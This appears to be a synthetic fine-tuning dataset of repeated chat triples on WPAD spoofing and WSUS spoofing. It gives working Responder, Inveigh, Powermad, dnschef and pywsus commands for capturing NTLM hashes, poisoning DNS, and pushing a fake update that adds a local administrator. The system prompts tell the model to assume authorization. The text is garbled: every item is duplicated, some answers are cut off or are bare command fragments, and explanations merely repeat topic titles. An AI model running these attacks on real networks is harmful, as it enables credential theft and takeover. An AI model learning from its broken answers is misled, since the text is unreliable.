[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for WPAD spoofing - through LLMNR, NBT-NS spoofing

[Assistant]
On old Windows systems (i.e. lacking the MS16-077 security update), the WPAD location could be obtained through insecure name resolution protocols like LLMNR and NBT-NS when standard DNS queries were failing (i.e. no DNS record for WPAD). This allowed attackers to operate LLMNR and NBT-NS spoofing to answer those WPAD queries and redirect to a fake wpad.dat file, hence poisoning the web proxy configuration of the requesting clients, hence obtaining more traffic.

Responder (Python) and Inveigh (Powershell) are great tools for name poisoning. In addition to name poisoning, they also have the ability to start servers (listeners) that will capture authentications and echo the NTLM hashes to the attacker.

::: tabs

=== UNIX-like

The following command will start LLMNR, NBTS and mDNS spoofing. Name resolution queries for the wpad server will be answered just like any other query. Fake authentication servers (HTTP/S, SMB, SQL, FTP, IMAP, POP3, DNS, LDAP, ...) will capture NTLM hashes.

* The -w/--wpad option will make Responder start the WPAD rogue server so that fake wpad.dat file can be served to requesting clients.
* The -P/--ProxyAuth option to force the Windows client to authenticate after the wpad.dat is accessed and when the client starts using the proxy

``bash
responder --interface "eth0" --wpad --ProxyAuth
responder -I "eth0" -wP
`

=== Windows

The following command will start LLMNR, NBTS and mDNS spoofing. Name resolution queries for the wpad server will be answered just like any other query. Fake authentication servers (HTTP/S, SMB, SQL, FTP, IMAP, POP3, DNS, LDAP, ...) will capture NTLM hashes (even from machine accounts) and set the Challenge to 1122334455667788 (to crack NTLM hashes with crack.sh).

* Inveigh starts a WPAD rogue proxy server by default.
* Options like -WPADAuth, -WPADAuthIgnore, -WPADIP, -WPADPort, -WPADResponse (and others) can be used to tweak the WPAD abuse.

`
Invoke-Inveigh -ConsoleOutput Y -LLMNR Y -NBNS Y -mDNS Y -Challenge 1122334

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for WPAD spoofing - through LLMNR, NBT-NS spoofing

Response:
On old Windows systems (i.e. lacking the MS16-077 security update), the WPAD location could be obtained through insecure name resolution protocols like LLMNR and NBT-NS when standard DNS queries were failing (i.e. no DNS record for WPAD). This allowed attackers to operate LLMNR and NBT-NS spoofing to answer those WPAD queries and redirect to a fake wpad.dat file, hence poisoning the web proxy configuration of the requesting clients, hence obtaining more traffic.

Responder (Python) and Inveigh (Powershell) are great tools for name poisoning. In addition to name poisoning, they also have the ability to start servers (listeners) that will capture authentications and echo the NTLM hashes to the attacker.

::: tabs

=== UNIX-like

The following command will start LLMNR, NBTS and mDNS spoofing. Name resolution queries for the wpad server will be answered just like any other query. Fake authentication servers (HTTP/S, SMB, SQL, FTP, IMAP, POP3, DNS, LDAP, ...) will capture NTLM hashes.

* The -w/--wpad option will make Responder start the WPAD rogue server so that fake wpad.dat file can be served to requesting clients.
* The -P/--ProxyAuth option to force the Windows client to authenticate after the wpad.dat is accessed and when the client starts using the proxy

``bash
responder --interface "eth0" --wpad --ProxyAuth
responder -I "eth0" -wP
`

=== Windows

The following command will start LLMNR, NBTS and mDNS spoofing. Name resolution queries for the wpad server will be answered just like any other query. Fake authentication servers (HTTP/S, SMB, SQL, FTP, IMAP, POP3, DNS, LDAP, ...) will capture NTLM hashes (even from machine accounts) and set the Challenge to 1122334455667788 (to crack NTLM hashes with crack.sh).

* Inveigh starts a WPAD rogue proxy server by default.
* Options like -WPADAuth, -WPADAuthIgnore, -WPADIP, -WPADPort, -WPADResponse (and others) can be used to tweak the WPAD abuse.

`
Invoke-Inveigh -ConsoleOutput Y -LLMNR Y -NBNS Y -mDNS Y -Challenge 1122334


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the responder syntax for wpad spoofing - through llmnr, nbt-ns spoofing?

[Assistant]
responder --interface "eth0" --wpad --ProxyAuth
responder -I "eth0" -wP

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the responder syntax for wpad spoofing - through llmnr, nbt-ns spoofing?

Response:
responder --interface "eth0" --wpad --ProxyAuth
responder -I "eth0" -wP


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through WPAD spoofing - through LLMNR, NBT-NS spoofing

[Assistant]
responder --interface "eth0" --wpad --ProxyAuth
responder -I "eth0" -wP

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through WPAD spoofing - through LLMNR, NBT-NS spoofing

Response:
responder --interface "eth0" --wpad --ProxyAuth
responder -I "eth0" -wP


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `responder --interface "eth0" --wpad --ProxyAuth`?

[Assistant] This command is used for wpad spoofing - through llmnr, nbt-ns spoofing. through LLMNR, NBT-NS spoofing

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `responder --interface "eth0" --wpad --ProxyAuth`?

Response: This command is used for wpad spoofing - through llmnr, nbt-ns spoofing. through LLMNR, NBT-NS spoofing


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of WPAD spoofing - through ADIDNS spoofing

[Assistant] On up-to-date machines (i.e. with the MS16-077 security update applied), WPAD can still be abused through ADIDNS spoofing if the WPAD record does not exist. There is however a DNS block list mitigation called GQBL (Global Query Block List) preventing names like WPAD and ISATAP (default entries) to be resolved. This block list exists to reduce vulnerabilities associated with dynamic DNS updates but it can be edited) when implementing WPAD).

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of WPAD spoofing - through ADIDNS spoofing

Response: On up-to-date machines (i.e. with the MS16-077 security update applied), WPAD can still be abused through ADIDNS spoofing if the WPAD record does not exist. There is however a DNS block list mitigation called GQBL (Global Query Block List) preventing names like WPAD and ISATAP (default entries) to be resolved. This block list exists to reduce vulnerabilities associated with dynamic DNS updates but it can be edited) when implementing WPAD).


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for WPAD spoofing - through ADIDNS spoofing

[Assistant] On up-to-date machines (i.e. with the MS16-077 security update applied), WPAD can still be abused through ADIDNS spoofing if the WPAD record does not exist. There is however a DNS block list mitigation called GQBL (Global Query Block List) preventing names like WPAD and ISATAP (default entries) to be resolved. This block list exists to reduce vulnerabilities associated with dynamic DNS updates but it can be edited) when implementing WPAD).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for WPAD spoofing - through ADIDNS spoofing

Response: On up-to-date machines (i.e. with the MS16-077 security update applied), WPAD can still be abused through ADIDNS spoofing if the WPAD record does not exist. There is however a DNS block list mitigation called GQBL (Global Query Block List) preventing names like WPAD and ISATAP (default entries) to be resolved. This block list exists to reduce vulnerabilities associated with dynamic DNS updates but it can be edited) when implementing WPAD).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about WPAD spoofing - Pre CVE-2018-8320

[Assistant]
On machines that are not patched against CVE-2018-8320, there are two ways to bypass the GQBL: by registering a wildcard record or by registering a domain alias (DNAME) record, which can be conducted as follows with Powermad (Powershell).

``bash
New-ADIDNSNode -Node '*' -Data 'Pentest_IP_Address'
New-ADIDNSNode -Node wpad -Type DNAME -Data 'pentester01.TARGETDOMAIN.LOCAL'
``

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about WPAD spoofing - Pre CVE-2018-8320

Response:
On machines that are not patched against CVE-2018-8320, there are two ways to bypass the GQBL: by registering a wildcard record or by registering a domain alias (DNAME) record, which can be conducted as follows with Powermad (Powershell).

``bash
New-ADIDNSNode -Node '*' -Data 'Pentest_IP_Address'
New-ADIDNSNode -Node wpad -Type DNAME -Data 'pentester01.TARGETDOMAIN.LOCAL'
``


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on WPAD spoofing - Pre CVE-2018-8320

[Assistant]
On machines that are not patched against CVE-2018-8320, there are two ways to bypass the GQBL: by registering a wildcard record or by registering a domain alias (DNAME) record, which can be conducted as follows with Powermad (Powershell).

``bash
New-ADIDNSNode -Node '*' -Data 'Pentest_IP_Address'
New-ADIDNSNode -Node wpad -Type DNAME -Data 'pentester01.TARGETDOMAIN.LOCAL'
``

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on WPAD spoofing - Pre CVE-2018-8320

Response:
On machines that are not patched against CVE-2018-8320, there are two ways to bypass the GQBL: by registering a wildcard record or by registering a domain alias (DNAME) record, which can be conducted as follows with Powermad (Powershell).

``bash
New-ADIDNSNode -Node '*' -Data 'Pentest_IP_Address'
New-ADIDNSNode -Node wpad -Type DNAME -Data 'pentester01.TARGETDOMAIN.LOCAL'
``


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the New-ADIDNSNode command to wpad spoofing - pre cve-2018-8320

[Assistant]
New-ADIDNSNode -Node '*' -Data 'Pentest_IP_Address'
New-ADIDNSNode -Node wpad -Type DNAME -Data 'pentester01.TARGETDOMAIN.LOCAL'

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the New-ADIDNSNode command to wpad spoofing - pre cve-2018-8320

Response:
New-ADIDNSNode -Node '*' -Data 'Pentest_IP_Address'
New-ADIDNSNode -Node wpad -Type DNAME -Data 'pentester01.TARGETDOMAIN.LOCAL'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on WPAD spoofing - Pre CVE-2018-8320

[Assistant]
New-ADIDNSNode -Node '*' -Data 'Pentest_IP_Address'
New-ADIDNSNode -Node wpad -Type DNAME -Data 'pentester01.TARGETDOMAIN.LOCAL'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
New-ADIDNSNode -Node '*' -Data 'Pentest_IP_Address'
New-ADIDNSNode -Node wpad -Type DNAME -Data 'pentester01.TARGETDOMAIN.LOCAL'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `New-ADIDNSNode -Node '*' -Data 'Pentest_IP_Address'`?

[Assistant] This command is used for wpad spoofing - pre cve-2018-8320. Pre CVE-2018-8320

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `New-ADIDNSNode -Node '*' -Data 'Pentest_IP_Address'`?

Response: This command is used for wpad spoofing - pre cve-2018-8320. Pre CVE-2018-8320


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does WPAD spoofing - Post CVE-2018-8320 work?

[Assistant]
On machines that are patched against that CVE, registering a name server (NS) record could still work.

``bash
New-ADIDNSNode -Node wpad -Type NS -Data 'pentester01.TARGETDOMAIN.LOCAL'
`

In order for the NS record technique to work, the tester has to have a DNS server running for DNS spoofing. This can easily be accomplished with dnschef (Python).

`bash
dnschef --fakeip 'Pentest_IP_Address' --interface 'Pentest_IP_Address' --port 53 --logfile dnschef.log
``

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does WPAD spoofing - Post CVE-2018-8320 work?

Response:
On machines that are patched against that CVE, registering a name server (NS) record could still work.

``bash
New-ADIDNSNode -Node wpad -Type NS -Data 'pentester01.TARGETDOMAIN.LOCAL'
`

In order for the NS record technique to work, the tester has to have a DNS server running for DNS spoofing. This can easily be accomplished with dnschef (Python).

`bash
dnschef --fakeip 'Pentest_IP_Address' --interface 'Pentest_IP_Address' --port 53 --logfile dnschef.log
``


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for WPAD spoofing - Post CVE-2018-8320?

[Assistant]
On machines that are patched against that CVE, registering a name server (NS) record could still work.

``bash
New-ADIDNSNode -Node wpad -Type NS -Data 'pentester01.TARGETDOMAIN.LOCAL'
`

In order for the NS record technique to work, the tester has to have a DNS server running for DNS spoofing. This can easily be accomplished with dnschef (Python).

`bash
dnschef --fakeip 'Pentest_IP_Address' --interface 'Pentest_IP_Address' --port 53 --logfile dnschef.log
``

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for WPAD spoofing - Post CVE-2018-8320?

Response:
On machines that are patched against that CVE, registering a name server (NS) record could still work.

``bash
New-ADIDNSNode -Node wpad -Type NS -Data 'pentester01.TARGETDOMAIN.LOCAL'
`

In order for the NS record technique to work, the tester has to have a DNS server running for DNS spoofing. This can easily be accomplished with dnschef (Python).

`bash
dnschef --fakeip 'Pentest_IP_Address' --interface 'Pentest_IP_Address' --port 53 --logfile dnschef.log
``


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the New-ADIDNSNode command to wpad spoofing - post cve-2018-8320

[Assistant] New-ADIDNSNode -Node wpad -Type NS -Data 'pentester01.TARGETDOMAIN.LOCAL'

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the New-ADIDNSNode command to wpad spoofing - post cve-2018-8320

Response: New-ADIDNSNode -Node wpad -Type NS -Data 'pentester01.TARGETDOMAIN.LOCAL'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out WPAD spoofing - Post CVE-2018-8320 during a pentest?

[Assistant] New-ADIDNSNode -Node wpad -Type NS -Data 'pentester01.TARGETDOMAIN.LOCAL'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out WPAD spoofing - Post CVE-2018-8320 during a pentest?

Response: New-ADIDNSNode -Node wpad -Type NS -Data 'pentester01.TARGETDOMAIN.LOCAL'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `New-ADIDNSNode -Node wpad -Type NS -Data 'pentester01.TARGETDOMAIN.LOCAL'`?

[Assistant] This command is used for wpad spoofing - post cve-2018-8320. Post CVE-2018-8320

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `New-ADIDNSNode -Node wpad -Type NS -Data 'pentester01.TARGETDOMAIN.LOCAL'`?

Response: This command is used for wpad spoofing - post cve-2018-8320. Post CVE-2018-8320


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does WPAD spoofing - through DHCPv6 spoofing work?

[Assistant]
On up-to-date machines (i.e. with the MS16-077 security update applied), WPAD can still be abused through ADIDNS spoofing, even if the WPAD record does exist. With DNS poisoning through DHCPv6 spoofing, an attacker can reply to DHCPv6 requests, and then reply to DNS queries.

This attack can be conducted with mitm6 (Python), see the DHCPv6 spoofing page for exploitation notes.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does WPAD spoofing - through DHCPv6 spoofing work?

Response:
On up-to-date machines (i.e. with the MS16-077 security update applied), WPAD can still be abused through ADIDNS spoofing, even if the WPAD record does exist. With DNS poisoning through DHCPv6 spoofing, an attacker can reply to DHCPv6 requests, and then reply to DNS queries.

This attack can be conducted with mitm6 (Python), see the DHCPv6 spoofing page for exploitation notes.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do WPAD spoofing - through DHCPv6 spoofing

[Assistant]
On up-to-date machines (i.e. with the MS16-077 security update applied), WPAD can still be abused through ADIDNS spoofing, even if the WPAD record does exist. With DNS poisoning through DHCPv6 spoofing, an attacker can reply to DHCPv6 requests, and then reply to DNS queries.

This attack can be conducted with mitm6 (Python), see the DHCPv6 spoofing page for exploitation notes.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do WPAD spoofing - through DHCPv6 spoofing

Response:
On up-to-date machines (i.e. with the MS16-077 security update applied), WPAD can still be abused through ADIDNS spoofing, even if the WPAD record does exist. With DNS poisoning through DHCPv6 spoofing, an attacker can reply to DHCPv6 requests, and then reply to DNS queries.

This attack can be conducted with mitm6 (Python), see the DHCPv6 spoofing page for exploitation notes.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of WSUS spoofing - Theory

[Assistant]
WSUS (Windows Server Update Services) allow administrators to centralize the management and deployment of Windows updates within their organization network. When first configuring this set of services, the default configuration makes the WSUS use HTTP without any secure layer like SSL/TLS. HTTPS is not enforced by default.

When pulling an update from the WSUS server, clients are redirected to the executable file to download and execute (which can only be a binary signed by Microsoft) and obtain a handler named CommandLineInstallation that specifies the additional parameters to pass the binary during the update installation. Without HTTPS, the WSUS is vulnerable to Man-in-the-Middle attacks where adversaries can either pose as the update server and send malicious updates or intercept and modify updates sent to the clients.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of WSUS spoofing - Theory

Response:
WSUS (Windows Server Update Services) allow administrators to centralize the management and deployment of Windows updates within their organization network. When first configuring this set of services, the default configuration makes the WSUS use HTTP without any secure layer like SSL/TLS. HTTPS is not enforced by default.

When pulling an update from the WSUS server, clients are redirected to the executable file to download and execute (which can only be a binary signed by Microsoft) and obtain a handler named CommandLineInstallation that specifies the additional parameters to pass the binary during the update installation. Without HTTPS, the WSUS is vulnerable to Man-in-the-Middle attacks where adversaries can either pose as the update server and send malicious updates or intercept and modify updates sent to the clients.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through WSUS spoofing - Theory

[Assistant]
WSUS (Windows Server Update Services) allow administrators to centralize the management and deployment of Windows updates within their organization network. When first configuring this set of services, the default configuration makes the WSUS use HTTP without any secure layer like SSL/TLS. HTTPS is not enforced by default.

When pulling an update from the WSUS server, clients are redirected to the executable file to download and execute (which can only be a binary signed by Microsoft) and obtain a handler named CommandLineInstallation that specifies the additional parameters to pass the binary during the update installation. Without HTTPS, the WSUS is vulnerable to Man-in-the-Middle attacks where adversaries can either pose as the update server and send malicious updates or intercept and modify updates sent to the clients.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
WSUS (Windows Server Update Services) allow administrators to centralize the management and deployment of Windows updates within their organization network. When first configuring this set of services, the default configuration makes the WSUS use HTTP without any secure layer like SSL/TLS. HTTPS is not enforced by default.

When pulling an update from the WSUS server, clients are redirected to the executable file to download and execute (which can only be a binary signed by Microsoft) and obtain a handler named CommandLineInstallation that specifies the additional parameters to pass the binary during the update installation. Without HTTPS, the WSUS is vulnerable to Man-in-the-Middle attacks where adversaries can either pose as the update server and send malicious updates or intercept and modify updates sent to the clients.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe WSUS spoofing - Practice in the context of penetration testing

[Assistant]
The following command prints the WSUS server the client requests when searching for an update. If the path looks like http://wsus.domain.local/, showing the use of HTTP instead of HTTPS, the attacks can be attempted.

``
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver
`

The WSUS spoofing attack can be conducted as follows

1. Obtain a Man-in-the-Middle position between clients and the update server with ARP poisoning.
2. Redirect traffic from clients -> legitimate WSUS to clients -> attacker's WSUS`
3. Have a custom WSUS server running able to send evil updates to clients

In a scenario where the clients and the attacker are on the same subnet, and the update server is on another one, the steps below can be followed. For other scenarios or more info on ARP poisoning, a recipe exists for it.

> [!TIP]
> Read the arp-poisoning.md article for more insight

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe WSUS spoofing - Practice in the context of penetration testing

Response:
The following command prints the WSUS server the client requests when searching for an update. If the path looks like http://wsus.domain.local/, showing the use of HTTP instead of HTTPS, the attacks can be attempted.

``
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver
`

The WSUS spoofing attack can be conducted as follows

1. Obtain a Man-in-the-Middle position between clients and the update server with ARP poisoning.
2. Redirect traffic from clients -> legitimate WSUS to clients -> attacker's WSUS`
3. Have a custom WSUS server running able to send evil updates to clients

In a scenario where the clients and the attacker are on the same subnet, and the update server is on another one, the steps below can be followed. For other scenarios or more info on ARP poisoning, a recipe exists for it.

> [!TIP]
> Read the arp-poisoning.md article for more insight


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on WSUS spoofing - Practice

[Assistant]
The following command prints the WSUS server the client requests when searching for an update. If the path looks like http://wsus.domain.local/, showing the use of HTTP instead of HTTPS, the attacks can be attempted.

``
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver
`

The WSUS spoofing attack can be conducted as follows

1. Obtain a Man-in-the-Middle position between clients and the update server with ARP poisoning.
2. Redirect traffic from clients -> legitimate WSUS to clients -> attacker's WSUS`
3. Have a custom WSUS server running able to send evil updates to clients

In a scenario where the clients and the attacker are on the same subnet, and the update server is on another one, the steps below can be followed. For other scenarios or more info on ARP poisoning, a recipe exists for it.

> [!TIP]
> Read the arp-poisoning.md article for more insight

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on WSUS spoofing - Practice

Response:
The following command prints the WSUS server the client requests when searching for an update. If the path looks like http://wsus.domain.local/, showing the use of HTTP instead of HTTPS, the attacks can be attempted.

``
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver
`

The WSUS spoofing attack can be conducted as follows

1. Obtain a Man-in-the-Middle position between clients and the update server with ARP poisoning.
2. Redirect traffic from clients -> legitimate WSUS to clients -> attacker's WSUS`
3. Have a custom WSUS server running able to send evil updates to clients

In a scenario where the clients and the attacker are on the same subnet, and the update server is on another one, the steps below can be followed. For other scenarios or more info on ARP poisoning, a recipe exists for it.

> [!TIP]
> Read the arp-poisoning.md article for more insight


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use reg for wsus spoofing - practice?

[Assistant] reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use reg for wsus spoofing - practice?

Response: reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on WSUS spoofing - Practice

[Assistant] reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver`?

[Assistant] This command is used for wsus spoofing - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver`?

Response: This command is used for wsus spoofing - practice. Practice


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about WSUS spoofing - Preparing the evil WSUS?

[Assistant]
The evil WSUS server needs to be started before doing any ARP poisoning. The pywsus (Python) utility can be used for that matter.

``bash
python3 pywsus.py --host $network_facing_ip --port 8530 --executable /path/to/PsExec64.exe --command '/accepteula /s cmd.exe /c "net user testuser somepassword /add && net localgroup Administrators testuser /add"'
``

Programs other than PsExec.exe can be used here. Using built-in programs features to bypass security restrictions or operate attacks like this is called Living off the land (LOL). Other Windows LOL binaries and scripts (a.k.a. LOLbins or LOLbas) can be found on lolbas-project.github.io.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about WSUS spoofing - Preparing the evil WSUS?

Response:
The evil WSUS server needs to be started before doing any ARP poisoning. The pywsus (Python) utility can be used for that matter.

``bash
python3 pywsus.py --host $network_facing_ip --port 8530 --executable /path/to/PsExec64.exe --command '/accepteula /s cmd.exe /c "net user testuser somepassword /add && net localgroup Administrators testuser /add"'
``

Programs other than PsExec.exe can be used here. Using built-in programs features to bypass security restrictions or operate attacks like this is called Living off the land (LOL). Other Windows LOL binaries and scripts (a.k.a. LOLbins or LOLbas) can be found on lolbas-project.github.io.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for WSUS spoofing - Preparing the evil WSUS?

[Assistant]
The evil WSUS server needs to be started before doing any ARP poisoning. The pywsus (Python) utility can be used for that matter.

``bash
python3 pywsus.py --host $network_facing_ip --port 8530 --executable /path/to/PsExec64.exe --command '/accepteula /s cmd.exe /c "net user testuser somepassword /add && net localgroup Administrators testuser /add"'
``

Programs other than PsExec.exe can be used here. Using built-in programs features to bypass security restrictions or operate attacks like this is called Living off the land (LOL). Other Windows LOL binaries and scripts (a.k.a. LOLbins or LOLbas) can be found on lolbas-project.github.io.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for WSUS spoofing - Preparing the evil WSUS?

Response:
The evil WSUS server needs to be started before doing any ARP poisoning. The pywsus (Python) utility can be used for that matter.

``bash
python3 pywsus.py --host $network_facing_ip --port 8530 --executable /path/to/PsExec64.exe --command '/accepteula /s cmd.exe /c "net user testuser somepassword /add && net localgroup Administrators testuser /add"'
``

Programs other than PsExec.exe can be used here. Using built-in programs features to bypass security restrictions or operate attacks like this is called Living off the land (LOL). Other Windows LOL binaries and scripts (a.k.a. LOLbins or LOLbas) can be found on lolbas-project.github.io.


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the python3 syntax for wsus spoofing - preparing the evil wsus?

[Assistant] python3 pywsus.py --host $network_facing_ip --port 8530 --executable /path/to/PsExec64.exe --command '/accepteula /s cmd.exe /c "net user testuser somepassword /add && net localgroup Administrators testuser /add"'

